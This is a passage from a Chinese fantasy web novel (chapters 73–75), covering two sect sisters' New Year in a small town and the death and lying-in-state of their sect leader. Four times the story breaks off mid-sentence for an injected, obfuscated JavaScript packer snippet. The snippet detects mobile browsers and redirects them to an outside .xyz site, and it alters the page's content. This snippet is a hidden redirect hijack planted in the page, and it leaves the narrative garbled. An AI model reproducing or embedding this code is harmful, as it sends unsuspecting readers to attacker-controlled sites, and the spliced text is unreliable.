身旁的姬忘尘也向李婆婆礼貌道谢。她本来就存着体验生活的心,也就跟着师妹一起,同隔壁李婆婆一道学习置办年货的事情。 在两个年轻人的帮助下,李婆婆很快完成了采买的任务。三人也在这段路上打开了话匣子,说起了彼此的事情。 身旁的这李婆婆曾经是镇上颇有名气的厨娘,有什么正式的宴席都会专门请到她坐镇。而如今就由她的女儿接了班,还在镇上开了一家远近闻名的天香楼。 “只可惜这段时间事务繁忙,她天天宿在天香楼抽不开身。”李婆婆一边说着一边推开自己的宅院,向两人招呼道,“进来坐坐吧。” “娘,是谁来了?”女子的声音从院内传出,由远及近;话音刚落,一个身影出现在她们面前。 女子看到面前陌生的面庞,眼底划过一瞬讶异,很快又笑着虚虚搭在姬忘尘的肩膀招呼道:“您二位就是我们的新邻居吧!初次见面,我是李思谦,叫我阿姐就成。” 汤穗穗抬头打量着对方,只见这名女子神态自然,看起来年纪比师姐稍大一些,她应当与成师姐差不多。 “姐……姐……”原本摇着拨浪鼓的小家伙也跌跌撞撞地跑了出来,抱着她娘亲的小腿,仰着头望着汤穗穗,话还说不清楚,偏要学着娘亲的模样打招呼。 不远处还站着一位男子正收拾着院落,也转过头笑着跟她们点头示意。 面对一家人的热情,她们也不好拂了她们的情,匆匆回了宅邸放下手上的大包小件,就又回到李婆婆的家中。 家里来了客人,无论是李婆婆还是李阿姐都热情地招待着两人。问起两人的过往,汤穗穗煞有其事地搬出行商的名头,半真半假地编撰她们的故事,给邻居阿婆唬得一愣一愣。 师姐妹两人对视一眼,彼此眼底都藏不住厚重的笑意。 而一边的李阿姐并未当场戳破少年话语里的漏洞,只是半眯着眼打量对方笑而不语。她也不需要面前的两人毫无保留地全盘托出。 不知不觉中,几人从晌午一直聊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15758608|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到日斜西山,师姐妹也学习了不少关于过年的讲究,心中觉得受益匪浅。 眼看着又到了饭点,李阿姐起身打算主动招待两位客人。姬忘尘意外于她们的热情,不自觉地发问:“您二位如此热情,就不怕我和妹妹是胡作非为的歹人?” “倘若你们是坏人,自会受到官府惩戒,而我做好对待好友应做的即可。”李阿姐知道青年的顾虑,脸上的笑容更盛,“虽然我年纪还不算大,自认为还是有一套识人之术。我看二位并非那等作恶之人,因此也乐意与两位交好。” 直白的话语让两人忍不住心潮澎湃,佩服起对方的眼界与气量,不愧是经营着“天香楼”的掌柜。 在饭桌之上,李思谦即使知晓方才汤穗穗的话语只是编撰,也依旧举杯恭祝两人行商顺利。姬忘尘也不推脱,她端起茶水回敬,也礼貌地笑着祝李阿姐酒楼红红火火、生意兴隆;汤穗穗跟在师姐身边有样学样。 比起从前的疏离,现在的姬忘尘也学着和周围人打好交道。 或许是这段时间的情绪积累,直到深夜姬忘尘都还不能入睡。她蹑手蹑脚地推开房门,避免吵醒隔壁房间的汤穗穗。 今夜没有明月,只有满天的繁星。她下意识翻身上了屋顶,眺望整座城镇。 其实这座城镇的规模并不大,甚至也就只有江望城一半的大小;但这样不起眼的城镇,也正是许多人所眷恋的家乡。 她又想起今天和李家人的聊天,不仅学到了许多过年的习俗,还和她们拉近了距离, 放在曾经,她甚至不会有闲心像这样和周围的陌路人打交道。 这样的感觉并不坏。 她下意识摸上自己胸膛跳动的心脏,那里和往常一样有节奏地鼓动着,但心底浮起的又是完全不一样的感受。 ——甚至觉得此刻才算真正的“活着”。 她下意识抬头望向满天的繁星,它们正闪烁着自己的光彩,点缀着这片漆黑如墨的夜空。 山下的百姓也如这夜空中不起眼的星辰一样,用自己的力量在这幅世间的画卷留下属于自己的痕迹。 或许这就是姬时欢一直在追求的盛世。 当她陷在自己的思绪中,身旁传来窸窸窣窣的声音。她下意识沿着声音看过去,提着衣摆的少女小心翼翼地坐在自己的身边,讨好地笑着:“师姐。” “是我吵醒你了吗?” “不是不是……”汤穗穗连忙摇摇头,她其实是看话本熬到了现在。方才看到了师姐的身影,这才跟着师姐上了屋顶,“我只是恰好看到了。” 深冬刺骨的风肆意地钻进她们的衣摆,凉风爬过她的颈部,汤穗穗下意识地缩了缩脖子。 “很冷吗?”姬忘尘解下身上的狐裘,披在了师妹的身上,“要不下去吧?” “不用啦。”汤穗穗接过师姐的衣服,狐裘上还留着师姐的温度和一股清浅冷冽的味道,“师姐,你在这里做什么?” “没什么,只是在想一些事情。”姬忘尘仰头看着这片夜幕,完全放空自己的思绪。 “看起来是让你轻松的事情。”汤穗穗望着师姐的侧脸,笃定地开口。 “嗯,想明白了一些事情。” “那很好啊。”汤穗穗一如既往地笑着回应。 姬忘尘将视线放回师妹的身上,她的眉眼又张开了些许,看起来还是以前那副傻乎乎的样子,感染着她忍不住勾起唇角,露出真心的笑容。 其实她没有母亲那般宏大的愿景。 如果真的要给她所行的道路定一个方向的话,那她希望自己能永远守护师妹这张天真的笑脸。 她有些期待来年了。 来年一定风调雨顺,万象更新。 73.元日 爆竹声中一岁除,春风送暖入屠苏。[1] 在两人这段时间齐心协力的筹备下,这个年置办得也算有模有样。 既然是过年,那最免不了的就是逛集市。以往汤穗穗还会偷偷溜到山下去凑热闹,现在总算是可以光明正大地拉着师姐市集逛个够。 “师姐快来!”她兴奋地拉着师姐穿梭在人群,她没想到这个寻常的城镇过年的氛围竟然如此浓厚。 身旁的行人脸上都布满新年的喜悦,孩子们穿着新衣,街头巷尾回荡着她们的欢声笑语。除此之外,街上还有精彩纷呈的舞龙舞狮、杂技等表演,百姓们在这段时间尽情娱乐,享受新年喜气洋洋的氛围。 她们从白天出了门,一直逛到晚上还兴致勃勃,闲逛途中还会就近点了街边的小吃填填肚子。 她们这次的小镇更靠内陆,口味比宗门要咸上一些。不过对于她们来说,即使不是熟悉的风味,但此情此景也不失为一种独特的体验。 师妹又钻进人群中看杂技表演,姬忘尘站在稍远的、街灯恰巧没照到的地方打量着来往行人。有一对好友手中正提着栩栩如生的花灯,脸上佩戴上驱邪的面具,挽着手肆意说笑:“我们现在就去放河灯吧!” “好啊好啊,我都准备好了,今年肯定要占个好位置。” “快走快走——” “好!——” 随着面前的杂技表演结束,周围的看客捧场地大声喝彩,盖住了方才两人的声音。汤穗穗也适时从人潮中钻了出来,跑到师姐的面前抱住对方的手臂,双眸亮晶晶,脸颊涨得通红,碎发散落在两侧:“师姐!等很久了吗?” “好看吗?”姬忘尘伸手将师妹额前的碎发轻柔拨开,露出兴奋的面庞。 “好看!”汤穗穗虽然还是贪玩的性子,方才一连串杂技表演已经让她大饱眼福,现在更想听从师姐的安排,“师姐呢,师姐想去哪?” “我?还是你选吧。”姬忘尘虽然能感受到节日的氛围,却还是下意识将自己抽离,只做当个冷静的旁观者。因此,她不想汤穗穗那样完全沉浸在其中。 “师姐,你这样可不算过年哦。”汤穗穗收敛了脸上的笑容,认认真真地望着对方开口,“过年呢,就要玩得痛痛快快的,将一切烦恼抛在过去,留下快乐迎接新年。” 在师姐开口之前,汤穗穗又笑着补上:“如果一直只是听从我的选择,那只是我在‘过年’——我希望师姐你也能加入进来,不然糟糕的事情就要缠上你了!” 师妹的话语直击姬忘尘的心里,既然决定要做出改变,她也不能还是之前那副“旁观”的姿态。 “原来有这种说法吗?”姬忘尘不知真假,她无措地眨眨眼,认真地思考起来。师妹并未开口催促,只用期盼的眼神望着自己,耐心地等待着答案。 想了好一会,姬忘尘回忆起方才过路行人所提及的内容,犹豫着开口:“……那不如去放河灯?” “好耶,我还没有放过河灯!”话音刚落,师妹就鼓掌叫好,极力应和着自己,“师姐,我还想买副面具!” “好。”她对上师妹笑得如新月弯弯的眼睛,下意识伸手轻点对方的额头。对方也没有避开,手上稍用了些力,将自己拉到了亮堂的街道上。 虽然说是去看河灯,但两人都不知道应该往哪个方向走,也就顺着人群而行。走着走着,汤穗穗余光瞥到售卖面具的摊子,松开师姐的手跑了过去。 姬忘尘加快脚步跟了过去,只见师妹在摊前仔细端详后,转身拿着选好的面具在脸上比划,向自己征询建议:“师姐师姐,你觉得这两个面具哪个好看?” 做选择这个事情,姬忘尘向来不擅长。 但她又不好拂了师妹的意思,只好硬着头皮认真仔细地比对着,可惜在她看来,这两款面具各有千秋,实在难以抉择。 “不如两位女郎将两款一齐买下,还能一人一个,大家都沾沾喜气。”摊主看着两人纠结的模样,笑着开口建议道。 “对啊,我怎么没想到!”汤穗穗的眼睛骤然放亮,抬头望着面前的师姐,“可以吗?” 姬忘尘伸手揉了把师妹的脑袋,问起摊主两款面具的价格,从口袋掏出钱袋准备付钱。 “多谢姑娘帮衬。……你们姐妹二人还真是感情深厚啊,”摊主报了价格,含笑注视两人的互动,习惯性地搭话,“二位女郎看起来面生,可是从外地来的?” “嗯,我和姐姐正巧路过此地,看这节庆甚是热闹,也就暂缓脚步。”汤穗穗笑着熟稔回答,“对了老板,我们想去放河灯,你可知道应当往哪个方向去走?” 说起河灯,摊主也很热情地给两人指明了方向,下意识又说起自己的女儿。 “……我那两个不成器的女儿皮得很,也凑这个热闹去了。”摊主的话虽如此,但眉眼间的骄傲喜悦却不作假,“我只希望她们也能像两位女郎一般走南闯北,有机会见识这世界的广袤。” “一定会的。有您这般开明的长辈,她们一定前途无量。”姬忘尘笑着递上银钱,汤穗穗抱着师姐的手臂,笑着扬了扬手里的面具,跟摊主辞别。 “那我可就承您吉言了,也祝二位在此处玩得开心。” 两人戴上方才挑选的面具就往摊主指明的方向走去。 虽然目的地近在咫尺,但汤穗穗还是饶有兴致地左顾右盼,拉着师姐在每一个摊子前停留。现在的姬忘尘已经习惯师妹的亲近,还会主动提醒身旁的人避开路人。 她也学着师妹那样,努力地融入俗世,感受寻常人家的喜乐。 两人就这样走走停停,也慢悠悠地到了街道的尽头,前方不远处就是贯穿城镇的河流。 此时河道两岸已经围满了人,河道上的花灯顺着水流缓缓往下游飘去,一簇一簇,点亮了整条河流。 周围热闹的氛围让两人对视一眼,加快脚步上前买了花灯。两人学着旁人的模样,写好了祈愿的纸条塞进河灯,再将河灯轻轻地送上水面。 刚入水的河灯颤颤巍巍,吓得汤穗穗连忙屏气,紧紧地盯着它。但好在,河灯似乎也感受到自己承载的愿望的分量,稳住了身形。 望着它在河道上稳定后,汤穗穗也才放下心来,闭眼双手合十,心中念念有词。 她其实没什么太多的愿望,只希望师姐笑口常开、师傅万事如意、宗主身体健康、蓝师姐阵法有成、唐澄澄机关顺利、成师姐四时平安…… 她希望自己能再早些和娘亲见面,将这一路的酸甜苦辣向她诉说。 她还希望这个这个世道越来越好,百姓们脸上的笑容越来越多,每个人都能走上自己所期盼的道路。 …… 再睁开眼,河灯已经离她好一段距离。 ——好吧,她知道自己是有一些贪心,但她心里舍不得放下任何一个人。 直到它完全消失在眼前时,汤穗穗才依依不舍地收回视线,起身让出原先的位置。 原本在身边的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769134|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师姐比她动作要快,很早就让出了位置,现在站在不远处含笑等待着自己。她连忙加快脚步,笑着扑到师姐身上:“师姐,你许了什么愿望?” “嗯?”一向不会拒绝自己的师姐这次却摇摇头,故弄玄虚,伸手轻点自己的脑门,“愿望说出来就不灵了。” 她捂着自己的脑门,想说些什么狡辩几句。 “砰——” 忽然天边想起炸开的的声音,她吓得躲到师姐身后,抱着师姐的手臂,仰头往声音传来的方向看去。 与此同时,身旁有人指着天上笑喊:“放花炮啦!——” 循着他们的声音,汤穗穗也仰头望去,看到一朵朵绽放在天边花火忍不住长大了嘴。面前的景象令人叹为观止,她难以用自己的话语形容,不由得想起曾经在书上看过的词句: ……乍见朱尘连雾卷,还看薰燧乱星回。赤熛忽掣金绳断,丹洞齐烘玉琐开。蟠空百丈灵虬绕,簇幔千行紫蝶来。紫蝶飞飞散帘箔,流萤的的穿高阁。电影迎前霹霹惊,瑶光缀后天花落。扶桑波上浴奔鲸,蕊珠树底翻丹鹤[2]。…… “……其实,今天是我的生辰。”在重重的烟火声中,师姐仰头忽然开口轻语。 “什么?!”汤穗穗瞪大了眼睛望向身旁的女人,对方的脸上还挂着方才买的面具,眼睛里倒映着天上一簇簇转瞬即逝的火光。 这完全在她意料之外,她什么都没有准备。若是提前知道这点,她肯定会想办法给师姐备一份礼物的。 “我不是向你讨要礼物的。”姬忘尘不用回头都想象得出师妹的神情,单纯的师妹还是太好懂了些。 她仰着头看着天上的盛景,耳边花炮的声音还在接连不断地响着。 她下意识伸手摸上自己的左胸,感受着加快跳动的心脏,一字一句将心声传达:“我很开心。 “我已经很久没有度过这么热闹的新年,……还有生辰。” 上一次这般热闹,还是很久很久以前,母亲抱着她在王城。那时的她们也如现在这般,仰头望着绽放的星火、辨认一簇簇花火的形状,之后又一齐祈愿来年事事如意。 后来她以为自己不被众人所喜,也就回避着与旁人打交道。 不过现在,那些不快都过去了,她也在转变着自己的思维。 “师姐,生辰快乐!”汤穗穗扑过去用力地抱住师姐,“礼物我一定会补上的!” 被她声音拉回来的姬忘尘收敛起那些发散的思绪,将视线投注在身边的师妹,伴着隆隆的声音开口:“谢谢你,穗穗。” 她努力从困住自己的思绪中走出来,也尝试走出那条名为“姬忘尘”的道路。 如今说出这件事,也不是因为想被谁记住,只是有感而发。 “真的不用给我礼物。”所以她伸手伸手点了点师妹的额头,脸上佯装愠怒,想要打消是师妹的想法,“如果你执意要给,那我可就生气了。” “师姐——”汤穗穗抱着师姐的手臂撒娇,想要让对方转换想法。 “这件事没的商量。”天上的烟火也渐进尾声,姬忘尘转过身来,往另一边人潮的另一端走去,“陪我走走,就当是礼物了。” 各式各样的河灯满载着百姓们对来年的希望,被平缓的水流往远方推去。 其中有一只寻常的河灯,中间夹放着一张纸条,上面娟秀的字迹只留下一行: ——一愿穗穗岁岁平安,二盼来年风调雨顺,三望天下盛世安平。 74.仙逝 秦无纪坐在房间外的台阶上,身后是亮堂的房间,房间附近站满了人。这群人的脸色都是如出一辙的着急或担忧,只有她面无表情地放空着自己的思绪,什么都不去想,只是仰头看着昏暗的天色。 算算时间,如今已是卯时,再不用多久,她或许就能看到日出。 临近日出最冷的时候,山间的晚风拂过她的发尾,明明她已经不会被凉意侵染,还是忍不打了个寒颤。 她在这里坐了多久,四个时辰还是五个时辰? ……忘了。 房间紧闭的门终于传来轻微的声响,她听到周围的声音变得嘈杂。她缓慢地转过身,视线直接锁定到了被簇拥在正中间的葛长老。 方才的那群人中,是姚成最先上去,他的神色最为紧张,左手无意识地攥紧成拳,询问对方关于房间内的情况。 她们的距离隔得有些远,但秦无纪还是将葛长老脸上的神情看得一清二楚:经过一晚上的治疗,对方也已经精疲力尽,她无能为力的摇摇头,伸手拍了拍姚成的肩膀。 一切尽在不言中。 她原本以为自己会崩溃,但现在她只被一股无形的力量驱使着,平静地站起身、走上前去,拱手向葛长老致谢:“辛苦了。” “……你还好吗?” “我没事,葛长老您忙碌了一晚上,快去休息吧。”秦无纪习惯地扯起脸上的笑容,平静地向对方开口,就像寻常的问候一样。 葛长老看着秦无纪强颜欢笑的神情,忍不住皱着眉张了嘴,还是欲言又止。她望着面前神色平静的女人,心中情绪复杂。以往她们并不熟络,她还曾经因为姬忘尘而对对方有过偏见。 但这些偏见也在上山之后的相处中被打消。 “生死无常。”葛长老拍拍对方的肩膀,垂眸掩下一夜的疲惫,“节哀。” “接下来辛苦你了,师妹。”一旁的姚成的双目通红,难掩悲怆。但他深吸一口气,勉强按下翻涌的情绪,尽他所能的支持对方,“有需要帮忙的,尽管开口。” “谢了。” 她们总会有这么一天的。 从她上山到现在,对方强调无数次的那天还是来了,她也应当按照对方托付的那样,妥善地操办好她的身后事。 秦无纪敛目又睁眼,呼出一口气,冷静地思考着下一步。 下一步是停灵。 修士死亡与凡人无异,均要停灵七天。但修士的停灵和山下的习俗不同。山下更多是为了让亲朋好友吊唁,也让亡者的魂灵安息,最终让其安详地走入轮回。 对于修士而言,停灵的七日是给予亡身躯消散的时机。原本被身体承载的灵气会反过来腐蚀血肉,七日后灵气会逐渐从躯壳破开,化作白骨一具。 这样的事实听起来或许残忍,但这是修士的归宿。 自从走入修炼的那刻起,她们便已经与灵气融为一体,随着灵气的使用,越是融为一体,越是被“吞噬”灵魂,再也无法走入转世。换句话说,从一开始她们走上的就是无法回头的道路。 接手了宗主事务的秦无纪有条不紊地安排着一切。除了安排好宗门内的事务,还按传统动用宗主的能力,给所有在外的门徒发去了这条讯息。 或许在离别的时候,即使是她们这些不再有“来世”的人,也想能得到亲人的注目相送。或许她们没有血脉的联系,她们依旧是此世的亲人。 秦无纪面无表情地将停灵仪式的每一点细节安排下去,领了任务的众人纷纷告辞,唯独有一个人还站在原地,用担忧的眼神望向自己。 她垂下眼眸,望着地面:“还有事?” 师姐临终前曾有一些事情告知她,现在她心情极为复杂,不知应当如何面对姚成。 “不是。”姚成神情凝重,看向心事重重的师妹,“这些日子还习惯吗?” 在宗主的情况急剧恶化的时候,对方不由分说地将位置传给了一直在外的秦无纪,而非一直在身边她的姚成、或是其他长老。 不过宗门的人并不会对其有任何异议。在秦无纪离开之前,她便是宗门内数一数二的天才;二十年后再回来时,她的眼眸比往昔更澄澈,也更有力量。山上的他们早被长久与魔物缠斗中磨损了心志,唯独她仍如往昔纯粹。 对她们修士来说,除了要与魔物对抗,还需要克服随时会出现的、关于心法反噬的恐惧。山上的许多人并未做到,有一部分人因此而变得疯疯癫癫,死在了魔物手上。 但一直在山外的秦无纪反而保持得很好。 听到姚成的发问,秦无纪转身没有回答。姚成也不着急,他等在原地。即使他们分别了二十年,他自诩还是了解秦无纪的性格。 师妹虽然年纪小,但是心中自有一杆秤,衡量请利弊,做出当下最理智的选择。 “……姚成,你后悔过上山吗?”秦无纪背对着姚成,看着面前的书画屏风,似乎不经意间发问。 “没有。”姚成想也不想地开口,“你知道的,我被人遗弃在山林间。如果不是老头救了我,我早就成为野兽盘中餐。我从来没有后悔过这个决定。——更何况,如果没有上山,我又怎么会认识你们呢?……你、师姐、扬哥、老白,都是我这辈子最珍贵的亲人。” “……如果,”秦无纪艰难地张开口,“我们并非你所想象中那么……” “师妹。”姚成正色打断了对方犹豫不决的话语,望着秦无纪的背影,“我不知道师姐临终前找你说了什么,但我想告诉你——” “不管你面前的是什么艰难的选择,但做你认为正确的就够了。” “哪怕来日我们会兵戈相见,那也是我们的选择不同。”姚成顿了顿,“——你一直都是我的亲人。” “……你会后悔的。” “不会。”姚成斩钉截铁地开口。 片刻后他轻笑一声,耸了耸肩,缓和少许剑拔弩张的气氛,打趣着说:“除非是真的导致生灵涂炭、罔顾人伦的恶事,不然我会毫无原则地袒护你们。” 背对着他的秦无纪咬着下唇,压抑着眼底泛起的泪花,双手捏紧成拳,指甲嵌入掌心,让痛觉控制自己的泪意。 她注定要变得冷血。 “好了,别想那么多。”姚成上前,佯装看不到她轻微颤抖的身体,伸手拍了拍她的肩膀,“我一直都在呢,有什么难做的,尽管交给我吧。” 辞过旧岁,迎来新春,汤穗穗和师姐两人在城镇一直待到上元节结束才离开。离开前,她们悄悄给李婆婆一家留下护身符,祈佑她们一家身体健康、消灾除恶。 当然,在这段时间里,她们也没有完全放松,还抽空处理了城镇周围的魔物。从离宗到现在还不到半年的时间里,汤穗穗觉得自己的境界稳固了不上、体内的灵力也充沛了许多,她对自己也越来越有信心。 在师姐的提议下,她们打算将鄞都治下的乔女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777324|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 村当做此行的终点,正式为这一趟历练作结。 “咕噜噜——” 还没等汤穗穗说话,她的肚皮提前发出了抗议的声音。 在这段时间里,汤穗穗也在师姐的教导下学会了骑马。现在她坐在马背上捂着肚子,不好意思地望向身旁的师姐。 “饿了吗?”姬忘尘扯动缰绳,伸手指了远处的村庄屋舍,“再忍忍,……看,前面有个村子。” “好……”汤穗穗只能有气无力地回复师姐,一夹马肚跟上前面已经离开的身影。 不过好在,没过多久她们就到达了村子口。 汤穗穗学着师姐那样,将马匹拴在村外,转身扑上前抱着师姐手臂撒娇:“我要饿死了!师姐,这附近有什么好吃的吗?” “好吃或许算不上,但可以垫垫肚子。”姬忘尘“拖”着师妹的身体,一边看向周围的店铺。 村庄也并不大,她们很快就看到一家面馆,面馆前的小二热情地招呼两人。两人对视一眼,抬步往面馆走去。 “小二,这面馆可有招牌让我们尝尝?” “有的两位客官,不如就各来一碗肉酱面,如何?”小二笑着应答,“也好给两人远道而来的客人热热身体。” 姬忘尘将视线投注身边的师妹,汤穗穗连忙点点头,脸上带着明媚的笑容喊道:“那可要快些上,我和师姐两人饿极了。” “好咧——” 两碗飘着白色热气的炝锅汤面很快就端到了两人的面前,扑鼻的香气再一次勾起了汤穗穗肚子的馋虫。 她不等师姐开口,直接拿起筷子开始品尝起来。看着师妹狼吞虎咽的样子,姬忘尘笑着摇摇头,也拿起手边的筷子,细细品味这碗面。 热气腾腾的面条下肚,填上了汤穗穗空虚的肚子。 正在两人吃得正欢的时候,空气中传来轻微地灵气波动。汤穗穗正大口地嚼着面条,瞪大眼睛看着面前紊乱的痕迹;身旁的姬忘尘从容地放下手上的筷子,往纸鹤的方向伸手。 在她指尖轻触的那一刻,空气中凝结出两只符纸叠成的纸鹤,就这样一齐停在她的指尖。 “这是……?”汤穗穗匆忙地将口中的面条咽下。 “宗门的传信纸鹤。”姬忘尘言简意赅地回答,收回手将纸鹤到自己的胸前不远,闭眼调用灵力读取了其中的内容,“你先吃吧,我看就好了。” 出于对师姐的信任,汤穗穗点点头,继续方才的动作。 可她看着师姐的脸色在阅读宗门传信后变得十分凝重,方才轻松的笑脸也收敛了起来。当她再睁眼的时候,什么话也没有说,只是垂眸望着纸鹤怔怔地出神。 其中一只纸鹤已经完成传信的使命,颜色变得十分黯淡,了无生机;另一只还栩栩如生,等待旁人开启。 “师姐,怎么了?”汤穗穗看着师姐的状态很不对劲,直觉告诉她,一定有什么重要的事情发生。 她连忙放下筷子,将师姐指尖的另一只、还未褪色的纸鹤拿了过去。还没等她调动灵力读取,就听到师姐开口了。 “穗穗,我们要回宗门一趟。宗主她……”姬忘尘扔托着手中褪色的纸鹤,眼睫轻颤,说出的话语也有些颤抖,“仙逝了。” 握着的纸鹤似乎变得灼热,烫得汤穗穗差点松开手。 听闻消息的那瞬间,她的大脑一片空白,周围的一切瞬间变得寂静,她只听得到自己隆隆的心跳声在回响。 75.停灵 被这么一遭影响之后,就算纸鹤没有提及回宗,她们也没有了继续在外闯荡的心思。 不过她们当务之急是思考如何回宗,仅仅只靠马匹返回的话,估计要花上十天甚至更久的时间——她们肯定赶不及参与停灵仪式,而且她们也不想把时间拖得这么久。 姬忘尘当机立断,将马匹卖给了就近的马场,带着汤穗穗借助山林的隐蔽,想起了以前看到的另一道口诀“缩地成寸”。 这是小师舅为数不多留下来的功法心得之一。 施展“缩地成寸”对灵力的要求极高,只有元婴期以上的境界,才能将其运转完整。以往姬忘尘也用过好几次,几乎每次都会将体内的灵气消耗殆尽。 现在面临身体中不稳定因素时,她也没有犹豫,对汤穗穗开口:“抓紧我。” “师姐……”汤穗穗对上师姐冷凝的脸色,和摆出来的架势,对师姐的状况心中隐隐有些担心,“可以吗?” 望着她忍不住皱起来的脸,姬忘尘笑着最后看她一眼,随机闭眼掐诀,凝神运用体内灵气,全神贯注地使用这道法诀。起初一切都很顺利,但运行到大半的时候,她感觉到身体有一股阻塞的感觉。 她来不及多想,直接将这股阻塞冲开。而后一股黏腻的气息缠着纯净的气息蜿蜒而上,盘踞在她的体内——正如当时感受到的那股气息一样。 但现在她来不及多想,继续专注将两人移动到宗门山脚下的禁制前。 “师姐!——” 身旁的师妹声音有些颤抖,伸手攥紧了她的外衣,不用转头便猜得出对方脸上担忧的神情。姬忘尘低头望着自己尚未收回体内气息的指尖,上面夹杂着绿、紫两色相融的气流。 当时的一切并非她的错觉,她的体内当真存在着魔气。 ……或许说,魔种。 “……师姐……”汤穗穗望着面前被浅淡紫气笼罩的女人,让她不适的感觉止不住地蔓延过来,她不敢猜、不敢想、更不敢问对方身上究竟发生了什么。 她只能无助地喊着对方,也不知道这样究竟有没有用。 师姐听到她带着哭腔的声音,缓缓地转过头,脸上的笑意仍未散去,她的眼瞳黑红交织——那抹红色就像她们除去的无数魔物一样。 “吓到了?”但很快,师姐就压下了那抹红,身上也没有那股令人反感的气息,伸手揉了揉她的头发,“……真的是魔种啊。” 她的语气很轻,心中反而十分释然:那件困扰将近二十年的事情终于给出了准确的答案。 “等停灵仪式结束,我便会离开宗门,”姬忘尘很快就做出了决定,“在此之前,决定权交给你。” “……决定?”汤穗穗还被师姐的话语惊得起了一圈又一圈的涟漪,她咽下口水,无意识地重复道。 “你来决定,我的去留。”姬忘尘冷静地开口,完全不在乎自己的话语内容有多震撼人心,“——又或是说,我的生死。” 因为姬忘尘使用的“缩地成寸”,所以她们不到一日便回到了宗门,也因此她们得以如约参与宗主的停灵仪式。 停灵仪式在空旷的平台由几位长老一齐操办。平台下聚集了许多人,甚至有一些年幼的、不到十岁的稚童,仰头懵懂地看着台上的一切。 人群中的汤穗穗也仰头望着,那位年迈的长辈神情安详地躺在冰棺之上,她周围是翻涌的灵气,面色反倒比生前更为红润,看起来就只是做着香甜的美梦。 其实她与宗主——赵师姨的接触也十分有限,印象里也就打过几次照面,并且每次交流都隔着什么物件,要么是屏风,要么是隔着圆盘的通讯。 她将视线撇到平台旁操办着仪式的姚师舅,对方的动作熟稔,就像刻在他的血肉中,即便如此还是能看出对方的眼圈泛红;她又看向站在最上方的现任宗主——她的师傅,对方的面色冷凝,妥善地完成每一个步骤,但曾经朝夕相处的她能明显感受出来,师傅动作与神情的不自然…… 没由来的,她想起了在拟真试炼中遇到的邓娇前辈,回忆起对方当时的只言片语,从其中拼凑出那样鲜活的宗主——除去严肃的宗主形象,她也还是她们最可靠的师姐……她们这辈子的亲人。 她忍不住代入自己和师姐的关系:倘若有一天师姐也躺在了冰冷的冰棺里,她怀疑自己根本做不到两位长辈那般冷静。 她或许会变得癫狂,或许需要好久才能接受这样的事实——又或许一辈子都无法接受。 在这不算漫长的时间里,既给她们留下痛苦又必死的结局,还给她们留下沉重地、关于离别的课业。 她怔怔地站在平台上,努力地转动自己的大脑,陷进了自己的思绪中,丝毫没有意识到停灵仪式已经结束。 直到她的肩膀被人轻拍,她才恍然回过神来,顺着拍打的力度转头望去。对上许久未见的唐澄澄的视线,对方的脸上写满了对自己的担忧。 比起当时下山的时候,现如今的唐澄澄也已经晋升结丹,性格也变得主动了几分。她望着好友脸上心事重重的神情,也想到前宗主与好友的交集,心中也十分难受。 奈何一向不善言辞的她,只能低低地说出平淡又无力的言辞:“节哀。” “我没事”汤穗穗意识到对方误解了自己脸上的神情,连忙摇摇头,岔开话题问起人群中的稚童,“……不如和我说说宗门这半年来的变化吧?她们又是……” 面对好友的发问,唐澄澄自然知无不言。 她先提起宗门内的变化:山上又多了许多师妹师弟,正是方才人群中的孩子们,因此如今的她也成了旁人的师姐;令人惋惜的是,短短的半年中,也有不少师长在除魔和心法反噬两事上殒命、灵归自然…… 听到对方提及这样的遗憾时,汤穗穗忍不住又将视线放到冰棺,虽然停灵仪式已经结束,但冰棺仍会在平台上放置七日,直到血肉完全消散。 即使这样的场景在宗门内已经是常态,甚至还是有些师长就像当时的邓娇一样,根本来不及回到宗门,只能在野外简单操办过仪式就算送走最后一程。 虽然好友口中提到的名字她并不熟悉,但听到这样的消息,依旧闷得她喘不过气来;她的心脏似乎被什么揪住,一阵一阵地抽痛。 如今躺在冰棺中的赵师姨,很可能就是她们的来日。 尽管汤穗穗知道,宗门里的她们从不畏惧死亡,大部分人都坦然地面对着自己的结局。 因为宗门心法,行于这一路的她们,注定与数不尽的离别为伴。 可是…… 她还是想找到一种办法。 她希望能改变这柄悬在半空、不知何时落下的剑,她想走上这条路的她们好好地看着,看着这世间如何被自己添上独特的色彩。 虽然现在的汤穗穗还没有办法做到,但她笃定自己总有一天能做到。 后来,唐澄澄又说起自己在机关术上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 